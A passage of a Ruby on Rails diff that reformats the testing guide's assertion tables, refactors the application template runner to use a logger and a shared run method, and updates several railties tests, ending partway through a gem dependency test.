+|+assert_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is true.
+|+assert_not_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is false.
+|+assert_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is true.
+|+assert_not_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is false.
+|+assert_match( regexp, string, [msg] )+ |Ensures that a string matches the regular expression.
+|+assert_no_match( regexp, string, [msg] )+ |Ensures that a string doesn't matches the regular expression.
+|+assert_in_delta( expecting, actual, delta, [msg] )+ |Ensures that the numbers `expecting` and `actual` are within `delta` of each other.
+|+assert_throws( symbol, [msg] ) { block }+ |Ensures that the given block throws the symbol.
+|+assert_raises( exception1, exception2, ... ) { block }+ |Ensures that the given block raises one of the given exceptions.
+|+assert_nothing_raised( exception1, exception2, ... ) { block }+ |Ensures that the given block doesn't raise one of the given exceptions.
+|+assert_instance_of( class, obj, [msg] )+ |Ensures that +obj+ is of the +class+ type.
+|+assert_kind_of( class, obj, [msg] )+ |Ensures that +obj+ is or descends from +class+.
+|+assert_respond_to( obj, symbol, [msg] )+ |Ensures that +obj+ has a method called +symbol+.
+|+assert_operator( obj1, operator, obj2, [msg] )+ |Ensures that +obj1.operator(obj2)+ is true.
+|+assert_send( array, [msg] )+ |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?
+|+flunk( [msg] )+ |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.
+|=========================================================================================================================================
Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
@@ -437,19 +435,18 @@ NOTE: Creating your own assertions is an advanced topic that we won't cover in t
Rails adds some custom assertions of its own to the +test/unit+ framework:
-[grid="all"]
-`----------------------------------------------------------------------------------`-------------------------------------------------------
-Assertion Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+assert_valid(record)+ Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
-+assert_difference(expressions, difference = 1, message = nil) {|| ...}+ Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
-+assert_no_difference(expressions, message = nil, &block)+ Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
-+assert_recognizes(expected_options, path, extras={}, message=nil)+ Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
-+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
-+assert_response(type, message = nil)+ Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range
-+assert_redirected_to(options = {}, message=nil)+ Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.
-+assert_template(expected = nil, message=nil)+ Asserts that the request was rendered with the appropriate template file.
-------------------------------------------------------------------------------------------------------------------------------------------
+[options="header"]
+|===========================================================================================================================================================
+|Assertion |Purpose
+|+assert_valid(record)+ |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
+|+assert_difference(expressions, difference = 1, message = nil) {...}+ |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
+|+assert_no_difference(expressions, message = nil, &block)+ |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
+|+assert_recognizes(expected_options, path, extras={}, message=nil)+ |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
+|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
+|+assert_response(type, message = nil)+ |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range
+|+assert_redirected_to(options = {}, message=nil)+ |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.
+|+assert_template(expected = nil, message=nil)+ |Asserts that the request was rendered with the appropriate template file.
+|===========================================================================================================================================================
You'll see the usage of some of these assertions in the next chapter.
@@ -595,7 +592,7 @@ For example, you could verify the contents on the title element in your response
assert_select 'title', "Welcome to Rails Testing Guide"
--------------------------------------------------
-You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ will run the assertion on each element selected by the outer `assert_select` block:
+You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer `assert_select` block:
[source,ruby]
--------------------------------------------------
@@ -604,21 +601,35 @@ assert_select 'ul.navigation' do
end
--------------------------------------------------
-The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its link:http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html#M000749[documentation].
+Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
+
+[source,ruby]
+--------------------------------------------------
+assert_select "ol" do |elements|
+ elements.each do |element|
+ assert_select element, "li", 4
+ end
+end
+
+assert_select "ol" do
+ assert_select "li", 8
+end
+--------------------------------------------------
+
+The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its link:http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html[documentation].
==== Additional View-based Assertions ====
There are more assertions that are primarily used in testing views:
-[grid="all"]
-`----------------------------------------------------------------------------------`-------------------------------------------------------
-Assertion Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+assert_select_email+ Allows you to make assertions on the body of an e-mail.
-+assert_select_rjs+ Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element.
-+assert_select_encoded+ Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
-+css_select(selector)+ or +css_select(element, selector)+ Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.
-------------------------------------------------------------------------------------------------------------------------------------------
+[options="header"]
+|=========================================================================================================================================
+|Assertion |Purpose
+|+assert_select_email+ |Allows you to make assertions on the body of an e-mail.
+|+assert_select_rjs+ |Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element.
+|+assert_select_encoded+ |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
+|+css_select(selector)+ or +css_select(element, selector)+ |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.
+|=========================================================================================================================================
Here's an example of using +assert_select_email+:
@@ -664,22 +675,21 @@ Integration tests inherit from +ActionController::IntegrationTest+. This makes a
In addition to the standard testing helpers, there are some additional helpers available to integration tests:
-[grid="all"]
-`----------------------------------------------------------------------------------`-------------------------------------------------------
-Helper Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+https?+ Returns +true+ if the session is mimicking a secure HTTPS request.
-+https!+ Allows you to mimic a secure HTTPS request.
-+host!+ Allows you to set the host name to use in the next request.
-+redirect?+ Returns +true+ if the last request was a redirect.
-+follow_redirect!+ Follows a single redirect response.
-+request_via_redirect(http_method, path, [parameters], [headers])+ Allows you to make an HTTP request and follow any subsequent redirects.
-+post_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP POST request and follow any subsequent redirects.
-+get_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP GET request and follow any subsequent redirects.
-+put_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP PUT request and follow any subsequent redirects.
-+delete_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP DELETE request and follow any subsequent redirects.
-+open_session+ Opens a new session instance.
-------------------------------------------------------------------------------------------------------------------------------------------
+[options="header"]
+|=========================================================================================================================================
+|Helper |Purpose
+|+https?+ |Returns +true+ if the session is mimicking a secure HTTPS request.
+|+https!+ |Allows you to mimic a secure HTTPS request.
+|+host!+ |Allows you to set the host name to use in the next request.
+|+redirect?+ |Returns +true+ if the last request was a redirect.
+|+follow_redirect!+ |Follows a single redirect response.
+|+request_via_redirect(http_method, path, [parameters], [headers])+ |Allows you to make an HTTP request and follow any subsequent redirects.
+|+post_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP POST request and follow any subsequent redirects.
+|+get_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP GET request and follow any subsequent redirects.
+|+put_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PUT request and follow any subsequent redirects.
+|+delete_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP DELETE request and follow any subsequent redirects.
+|+open_session+ |Opens a new session instance.
+|=========================================================================================================================================
=== Integration Testing Examples ===
@@ -767,18 +777,17 @@ end
You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.
-[grid="all"]
-------------------------------------------------------------------------------------
-Tasks Description
-------------------------------------------------------------------------------------
-+rake test+ Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
-+rake test:units+ Runs all the unit tests from +test/unit+
-+rake test:functionals+ Runs all the functional tests from +test/functional+
-+rake test:integration+ Runs all the integration tests from +test/integration+
-+rake test:recent+ Tests recent changes
-+rake test:uncommitted+ Runs all the tests which are uncommitted. Only supports Subversion
-+rake test:plugins+ Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)
-------------------------------------------------------------------------------------
+[options="header"]
+|===================================================================================
+|Tasks |Description
+|+rake test+ |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
+|+rake test:units+ |Runs all the unit tests from +test/unit+
+|+rake test:functionals+ |Runs all the functional tests from +test/functional+
+|+rake test:integration+ |Runs all the integration tests from +test/integration+
+|+rake test:recent+ |Tests recent changes
+|+rake test:uncommitted+ |Runs all the tests which are uncommitted. Only supports Subversion
+|+rake test:plugins+ |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)
+|===================================================================================
== Brief Note About Test::Unit ==
@@ -983,7 +992,7 @@ The built-in +test/unit+ based testing is not the only way to test Rails applica
* link:http://avdi.org/projects/nulldb/[NullDB], a way to speed up testing by avoiding database use.
* link:http://github.com/thoughtbot/factory_girl/tree/master[Factory Girl], as replacement for fixtures.
* link:http://www.thoughtbot.com/projects/shoulda[Shoulda], an extension to +test/unit+ with additional helpers, macros, and assertions.
-* link: http://rspec.info/[RSpec], a behavior-driven development framework
+* link:http://rspec.info/[RSpec], a behavior-driven development framework
== Changelog ==
diff --git a/railties/lib/commands/performance/request.rb b/railties/lib/commands/performance/request.rb
deleted file mode 100755
index 1773886487..0000000000
--- a/railties/lib/commands/performance/request.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/usr/bin/env ruby
-require 'config/environment'
-require 'application'
-require 'action_controller/request_profiler'
-
-ActionController::RequestProfiler.run(ARGV)
diff --git a/railties/lib/dispatcher.rb b/railties/lib/dispatcher.rb
index 0bad45d9d8..9f8b59aa3d 100644
--- a/railties/lib/dispatcher.rb
+++ b/railties/lib/dispatcher.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/railties/lib/initializer.rb b/railties/lib/initializer.rb
index 637fe74313..be04873855 100644
--- a/railties/lib/initializer.rb
+++ b/railties/lib/initializer.rb
@@ -370,8 +370,9 @@ Run `rake gems:install` to install the missing gems.
def load_view_paths
if configuration.frameworks.include?(:action_view)
if configuration.cache_classes
- ActionController::Base.view_paths.load if configuration.frameworks.include?(:action_controller)
- ActionMailer::Base.template_root.load if configuration.frameworks.include?(:action_mailer)
+ view_path = ActionView::Template::EagerPath.new(configuration.view_path)
+ ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller)
+ ActionMailer::Base.template_root = view_path if configuration.frameworks.include?(:action_mailer)
end
end
end
@@ -407,12 +408,18 @@ Run `rake gems:install` to install the missing gems.
if configuration.frameworks.include?(:active_record)
ActiveRecord::Base.configurations = configuration.database_configuration
ActiveRecord::Base.establish_connection
+ configuration.middleware.use ActiveRecord::QueryCache
end
end
def initialize_cache
unless defined?(RAILS_CACHE)
silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(configuration.cache_store) }
+
+ if RAILS_CACHE.respond_to?(:middleware)
+ # Insert middleware to setup and teardown local cache for each request
+ configuration.middleware.insert_after(:"ActionController::Failsafe", RAILS_CACHE.middleware)
+ end
end
end
@@ -473,7 +480,7 @@ Run `rake gems:install` to install the missing gems.
# set to use Configuration#view_path.
def initialize_framework_views
if configuration.frameworks.include?(:action_view)
- view_path = ActionView::PathSet::Path.new(configuration.view_path, false)
+ view_path = ActionView::Template::Path.new(configuration.view_path)
ActionMailer::Base.template_root ||= view_path if configuration.frameworks.include?(:action_mailer)
ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller) && ActionController::Base.view_paths.empty?
end
@@ -536,7 +543,9 @@ Run `rake gems:install` to install the missing gems.
end
def initialize_metal
- configuration.middleware.use Rails::Rack::Metal
+ configuration.middleware.insert_before(
+ :"ActionController::RewindableInput",
+ Rails::Rack::Metal, :if => Rails::Rack::Metal.metals.any?)
end
# Initializes framework-specific settings for each of the loaded frameworks
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
index 94d34cda39..e1b422716d 100644
--- a/railties/lib/rails/backtrace_cleaner.rb
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -2,7 +2,7 @@ module Rails
class BacktraceCleaner < ActiveSupport::BacktraceCleaner
ERB_METHOD_SIG = /:in `_run_erb_.*/
- VENDOR_DIRS = %w( vendor/plugins vendor/gems vendor/rails )
+ VENDOR_DIRS = %w( vendor/gems vendor/rails )
SERVER_DIRS = %w( lib/mongrel bin/mongrel
lib/passenger bin/passenger-spawn-server
lib/rack )
@@ -15,11 +15,12 @@ module Rails
def initialize
super
- add_filter { |line| line.sub(RAILS_ROOT, '') }
+ add_filter { |line| line.sub("#{RAILS_ROOT}/", '') }
add_filter { |line| line.sub(ERB_METHOD_SIG, '') }
add_filter { |line| line.sub('./', '/') } # for tests
add_filter { |line| line.sub(/(#{GEMS_DIR})\/gems\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) \4')} # http://gist.github.com/30430
add_silencer { |line| ALL_NOISE.any? { |dir| line.include?(dir) } }
+ add_silencer { |line| line =~ %r(vendor/plugins/[^\/]+/lib) }
end
end
diff --git a/railties/lib/rails_generator/commands.rb b/railties/lib/rails_generator/commands.rb
index cacb3807d6..299044c3d7 100644
--- a/railties/lib/rails_generator/commands.rb
+++ b/railties/lib/rails_generator/commands.rb
@@ -294,7 +294,7 @@ HELP
file(relative_source, relative_destination, template_options) do |file|
# Evaluate any assignments in a temporary, throwaway binding.
vars = template_options[:assigns] || {}
- b = binding
+ b = template_options[:binding] || binding
vars.each { |k,v| eval "#{k} = vars[:#{k}] || vars['#{k}']", b }
# Render the source file with the temporary binding.
diff --git a/railties/lib/rails_generator/generators/applications/app/app_generator.rb b/railties/lib/rails_generator/generators/applications/app/app_generator.rb
index 795a0d7653..2c31d89538 100644
--- a/railties/lib/rails_generator/generators/applications/app/app_generator.rb
+++ b/railties/lib/rails_generator/generators/applications/app/app_generator.rb
@@ -151,7 +151,7 @@ class AppGenerator < Rails::Generator::Base
def create_script_files(m)
%w(
about console dbconsole destroy generate runner server plugin
- performance/benchmarker performance/profiler performance/request
+ performance/benchmarker performance/profiler
).each do |file|
m.file "bin/#{file}", "script/#{file}", {
:chmod => 0755,
diff --git a/railties/lib/rails_generator/generators/applications/app/template_runner.rb b/railties/lib/rails_generator/generators/applications/app/template_runner.rb
index c6113648e6..84e36ecc1b 100644
--- a/railties/lib/rails_generator/generators/applications/app/template_runner.rb
+++ b/railties/lib/rails_generator/generators/applications/app/template_runner.rb
@@ -8,23 +8,24 @@ require 'fileutils'
module Rails
class TemplateRunner
attr_reader :root
+ attr_writer :logger
def initialize(template, root = '') # :nodoc:
- @root = File.join(Dir.pwd, root)
+ @root = File.expand_path(File.directory?(root) ? root : File.join(Dir.pwd, root))
- puts "applying template: #{template}"
+ log 'applying', "template: #{template}"
load_template(template)
- puts "#{template} applied."
+ log 'applied', "#{template}"
end
def load_template(template)
begin
code = open(template).read
in_root { self.instance_eval(code) }
- rescue LoadError
- raise "The template [#{template}] could not be loaded."
+ rescue LoadError, Errno::ENOENT => e
+ raise "The template [#{template}] could not be loaded. Error: #{e}"
end
end
@@ -41,8 +42,8 @@ module Rails
#
# file("config/apach.conf", "your apache config")
#
- def file(filename, data = nil, &block)
- puts "creating file #{filename}"
+ def file(filename, data = nil, log_action = true, &block)
+ log 'file', filename if log_action
dir, file = [File.dirname(filename), File.basename(filename)]
inside(dir) do
@@ -66,7 +67,7 @@ module Rails
# plugin 'restful-authentication', :svn => 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
#
def plugin(name, options)
- puts "installing plugin #{name}"
+ log 'plugin', name
if options[:git] && options[:submodule]
in_root do
@@ -74,28 +75,36 @@ module Rails
end
elsif options[:git] || options[:svn]
in_root do
- `script/plugin install #{options[:svn] || options[:git]}`
+ run("script/plugin install #{options[:svn] || options[:git]}", false)
end
else
- puts "! no git or svn provided for #{name}. skipping..."
+ log "! no git or svn provided for #{name}. skipping..."
end
end
# Adds an entry into config/environment.rb for the supplied gem :
def gem(name, options = {})
- puts "adding gem #{name}"
+ log 'gem', name
- sentinel = 'Rails::Initializer.run do |config|'
gems_code = "config.gem '#{name}'"
if options.any?
- opts = options.inject([]) {|result, h| result << [":#{h[0]} => '#{h[1]}'"] }.join(", ")
+ opts = options.inject([]) {|result, h| result << [":#{h[0]} => '#{h[1]}'"] }.sort.join(", ")
gems_code << ", #{opts}"
end
+ environment gems_code
+ end
+
+ # Adds a line inside the Initializer block for config/environment.rb. Used by #gem
+ def environment(data = nil, &block)
+ sentinel = 'Rails::Initializer.run do |config|'
+
+ data = block.call if !data && block_given?
+
in_root do
gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
- "#{match}\n #{gems_code}"
+ "#{match}\n " << data
end
end
end
@@ -111,11 +120,11 @@ module Rails
def git(command = {})
in_root do
if command.is_a?(Symbol)
- puts "running git #{command}"
+ log 'running', "git #{command}"
Git.run(command.to_s)
else
command.each do |command, options|
- puts "running git #{command} #{options}"
+ log 'running', "git #{command} #{options}"
Git.run("#{command} #{options}")
end
end
@@ -135,16 +144,8 @@ module Rails
# vendor("foreign.rb", "# Foreign code is fun")
#
def vendor(filename, data = nil, &block)
- puts "vendoring file #{filename}"
- inside("vendor") do |folder|
- File.open("#{folder}/#{filename}", "w") do |f|
- if block_given?
- f.write(block.call)
- else
- f.write(data)
- end
- end
- end
+ log 'vendoring', filename
+ file("vendor/#{filename}", data, false, &block)
end
# Create a new file in the lib/ directory. Code can be specified
@@ -158,17 +159,9 @@ module Rails
#
# lib("foreign.rb", "# Foreign code is fun")
#
- def lib(filename, data = nil)
- puts "add lib file #{filename}"
- inside("lib") do |folder|
- File.open("#{folder}/#{filename}", "w") do |f|
- if block_given?
- f.write(block.call)
- else
- f.write(data)
- end
- end
- end
+ def lib(filename, data = nil, &block)
+ log 'lib', filename
+ file("lib/#{filename}", data, false, &block)
end
# Create a new Rakefile with the provided code (either in a block or a string).
@@ -190,16 +183,8 @@ module Rails
# rakefile("seed.rake", "puts 'im plantin ur seedz'")
#
def rakefile(filename, data = nil, &block)
- puts "adding rakefile #{filename}"
- inside("lib/tasks") do |folder|
- File.open("#{folder}/#{filename}", "w") do |f|
- if block_given?
- f.write(block.call)
- else
- f.write(data)
- end
- end
- end
+ log 'rakefile', filename
+ file("lib/tasks/#{filename}", data, false, &block)
end
# Create a new initializer with the provided code (either in a block or a string).
@@ -219,16 +204,8 @@ module Rails
# initializer("api.rb", "API_KEY = '123456'")
#
def initializer(filename, data = nil, &block)
- puts "adding initializer #{filename}"
- inside("config/initializers") do |folder|
- File.open("#{folder}/#{filename}", "w") do |f|
- if block_given?
- f.write(block.call)
- else
- f.write(data)
- end
- end
- end
+ log 'initializer', filename
+ file("config/initializers/#{filename}", data, false, &block)
end
# Generate something using a generator from Rails or a plugin.
@@ -240,10 +217,10 @@ module Rails
# generate(:authenticated, "user session")
#
def generate(what, *args)
- puts "generating #{what}"
+ log 'generating', what
argument = args.map(&:to_s).flatten.join(" ")
- in_root { `#{root}/script/generate #{what} #{argument}` }
+ in_root { run("script/generate #{what} #{argument}", false) }
end
# Executes a command
@@ -254,8 +231,8 @@ module Rails
# run('ln -s ~/edge rails)
# end
#
- def run(command)
- puts "executing #{command} from #{Dir.pwd}"
+ def run(command, log_action = true)
+ log 'executing', "#{command} from #{Dir.pwd}" if log_action
`#{command}`
end
@@ -268,10 +245,10 @@ module Rails
# rake("gems:install", :sudo => true)
#
def rake(command, options = {})
- puts "running rake task #{command}"
+ log 'rake', command
env = options[:env] || 'development'
sudo = options[:sudo] ? 'sudo ' : ''
- in_root { `#{sudo}rake #{command} RAILS_ENV=#{env}` }
+ in_root { run("#{sudo}rake #{command} RAILS_ENV=#{env}", false) }
end
# Just run the capify command in root
@@ -281,7 +258,8 @@ module Rails
# capify!
#
def capify!
- in_root { `capify .` }
+ log 'capifying'
+ in_root { run('capify .', false) }
end
# Add Rails to /vendor/rails
@@ -291,8 +269,8 @@ module Rails
# freeze!
#
def freeze!(args = {})
- puts "vendoring rails edge"
- in_root { `rake rails:freeze:edge` }
+ log 'vendor', 'rails edge'
+ in_root { run('rake rails:freeze:edge', false) }
end
# Make an entry in Rails routing file conifg/routes.rb
@@ -302,6 +280,7 @@ module Rails
# route "map.root :controller => :welcome"
#
def route(routing_code)
+ log 'route', routing_code
sentinel = 'ActionController::Routing::Routes.draw do |map|'
in_root do
@@ -321,7 +300,7 @@ module Rails
# freeze! if ask("Should I freeze the latest Rails?") == "yes"
#
def ask(string)
- puts string
+ log '', string
gets.strip
end
@@ -359,6 +338,12 @@ module Rails
!yes?(question)
end
+ # Run a regular expression replacement on a file
+ #
+ # ==== Example
+ #
+ # gsub_file 'app/controllers/application_controller.rb', /#\s*(filter_parameter_logging :password)/, '\1'
+ #
def gsub_file(relative_destination, regexp, *args, &block)
path = destination_path(relative_destination)
content = File.read(path).gsub(regexp, *args, &block)
@@ -368,5 +353,23 @@ module Rails
def destination_path(relative_destination)
File.join(root, relative_destination)
end
+
+ def log(action, message = '')
+ logger.log(action, message)
+ end
+
+ def logger
+ @logger ||= Rails::Generator::Base.logger
+ end
+
+ def logger
+ @logger ||= if defined?(Rails::Generator::Base)
+ Rails::Generator::Base.logger
+ else
+ require 'rails_generator/simple_logger'
+ Rails::Generator::SimpleLogger.new(STDOUT)
+ end
+ end
+
end
-end \ No newline at end of file
+end
diff --git a/railties/lib/test_help.rb b/railties/lib/test_help.rb
index b5c92c1790..ee24ea3a45 100644
--- a/railties/lib/test_help.rb
+++ b/railties/lib/test_help.rb
@@ -3,7 +3,6 @@
silence_warnings { RAILS_ENV = "test" }
require 'test/unit'
-require 'active_support/test_case'
require 'action_controller/test_case'
require 'action_view/test_case'
require 'action_controller/integration'
diff --git a/railties/test/console_app_test.rb b/railties/test/console_app_test.rb
index cbaf230594..f419fe0d8d 100644
--- a/railties/test/console_app_test.rb
+++ b/railties/test/console_app_test.rb
@@ -14,6 +14,15 @@ require 'console_app'
Test::Unit.run = false
class ConsoleAppTest < Test::Unit::TestCase
+ def test_app_method_should_return_integration_session
+ assert_nothing_thrown do
+ console_session = app
+ assert_not_nil console_session
+ assert_instance_of ActionController::Integration::Session,
+ console_session
+ end
+ end
+
uses_mocha 'console reload test' do
def test_reload_should_fire_preparation_callbacks
a = b = c = nil
diff --git a/railties/test/error_page_test.rb b/railties/test/error_page_test.rb
index 844f889aad..f819e468e8 100644
--- a/railties/test/error_page_test.rb
+++ b/railties/test/error_page_test.rb
@@ -1,6 +1,6 @@
require 'abstract_unit'
require 'action_controller'
-require 'action_controller/test_process'
+require 'action_controller/test_case'
RAILS_ENV = "test"
CURRENT_DIR = File.expand_path(File.dirname(__FILE__))
@@ -22,13 +22,10 @@ ActionController::Routing::Routes.draw do |map|
map.connect ':controller/:action/:id'
end
-class ErrorPageControllerTest < Test::Unit::TestCase
+class ErrorPageControllerTest < ActionController::TestCase
def setup
- @controller = ErrorPageController.new
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
-
ActionController::Base.consider_all_requests_local = false
+ rescue_action_in_public!
end
def test_500_error_page_instructs_system_administrator_to_check_log_file
@@ -38,6 +35,6 @@ class ErrorPageControllerTest < Test::Unit::TestCase
end
get :crash
expected_log_file = "#{RAILS_ENV}.log"
- assert_not_nil @response.body.index(expected_log_file)
+ assert_not_nil @response.body.index(expected_log_file), @response.body
end
end
diff --git a/railties/test/fcgi_dispatcher_test.rb b/railties/test/fcgi_dispatcher_test.rb
index cc054c24aa..c469c5dd01 100644
--- a/railties/test/fcgi_dispatcher_test.rb
+++ b/railties/test/fcgi_dispatcher_test.rb
@@ -1,10 +1,9 @@
require 'abstract_unit'
begin
+require 'action_controller'
require 'fcgi_handler'
-module ActionController; module Routing; module Routes; end end end
-
class RailsFCGIHandlerTest < Test::Unit::TestCase
def setup
@log = StringIO.new
@@ -131,19 +130,11 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
end
end
- class ::Dispatcher
- class << self
- attr_accessor :signal
- alias_method :old_dispatch, :dispatch
- def dispatch(cgi)
- signal ? Process.kill(signal, $$) : old_dispatch
- end
- end
- end
-
def setup
@log = StringIO.new
@handler = RailsFCGIHandler.new(@log)
+ @dispatcher = mock
+ Dispatcher.stubs(:new).returns(@dispatcher)
end
def test_interrupted_via_HUP_when_not_in_request
@@ -159,19 +150,6 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
assert_equal :reload, @handler.when_ready
end
- def test_interrupted_via_HUP_when_in_request
- cgi = mock
- FCGI.expects(:each_cgi).once.yields(cgi)
- Dispatcher.expects(:signal).times(2).returns('HUP')
-
- @handler.expects(:reload!).once
- @handler.expects(:close_connection).never
- @handler.expects(:exit).never
-
- @handler.process!
- assert_equal :reload, @handler.when_ready
- end
-
def test_interrupted_via_USR1_when_not_in_request
cgi = mock
FCGI.expects(:each_cgi).once.yields(cgi)
@@ -186,19 +164,6 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
assert_nil @handler.when_ready
end
- def test_interrupted_via_USR1_when_in_request
- cgi = mock
- FCGI.expects(:each_cgi).once.yields(cgi)
- Dispatcher.expects(:signal).times(2).returns('USR1')
-
- @handler.expects(:reload!).never
- @handler.expects(:close_connection).with(cgi).once
- @handler.expects(:exit).never
-
- @handler.process!
- assert_equal :exit, @handler.when_ready
- end
-
def test_restart_via_USR2_when_in_request
cgi = mock
FCGI.expects(:each_cgi).once.yields(cgi)
@@ -217,7 +182,7 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
def test_interrupted_via_TERM
cgi = mock
FCGI.expects(:each_cgi).once.yields(cgi)
- Dispatcher.expects(:signal).times(2).returns('TERM')
+ ::Rack::Handler::FastCGI.expects(:serve).once.returns('TERM')
@handler.expects(:reload!).never
@handler.expects(:close_connection).never
@@ -238,7 +203,7 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
cgi = mock
error = RuntimeError.new('foo')
FCGI.expects(:each_cgi).once.yields(cgi)
- Dispatcher.expects(:dispatch).once.with(cgi).raises(error)
+ ::Rack::Handler::FastCGI.expects(:serve).once.raises(error)
@handler.expects(:dispatcher_error).with(error, regexp_matches(/^unhandled/))
@handler.process!
end
@@ -254,7 +219,7 @@ class RailsFCGIHandlerSignalsTest < Test::Unit::TestCase
cgi = mock
error = SignalException.new('USR2')
FCGI.expects(:each_cgi).once.yields(cgi)
- Dispatcher.expects(:dispatch).once.with(cgi).raises(error)
+ ::Rack::Handler::FastCGI.expects(:serve).once.raises(error)
@handler.expects(:dispatcher_error).with(error, regexp_matches(/^stopping/))
@handler.process!
end
@@ -284,7 +249,7 @@ class RailsFCGIHandlerPeriodicGCTest < Test::Unit::TestCase
cgi = mock
FCGI.expects(:each_cgi).times(10).yields(cgi)
- Dispatcher.expects(:dispatch).times(10).with(cgi)
+ Dispatcher.expects(:new).times(10)
@handler.expects(:run_gc!).never
9.times { @handler.process! }
diff --git a/railties/test/gem_dependency_test.rb b/railties/test/gem_dependency_test.rb
index 30fd899fea..6c1f0961a1 100644
--- a/railties/test/gem_dependency_test.rb
+++ b/railties/test/gem_dependency_test.rb
@@ -9,33 +9,33 @@ Rails::VendorGemSourceIndex.silence_spec_warnings = true
uses_mocha "Plugin Tests" do
class GemDependencyTest < Test::Unit::TestCase
def setup
- @gem = Rails::GemDependency.new "hpricot"
- @gem_with_source = Rails::GemDependency.new "hpricot", :source => "http://code.whytheluckystiff.net"
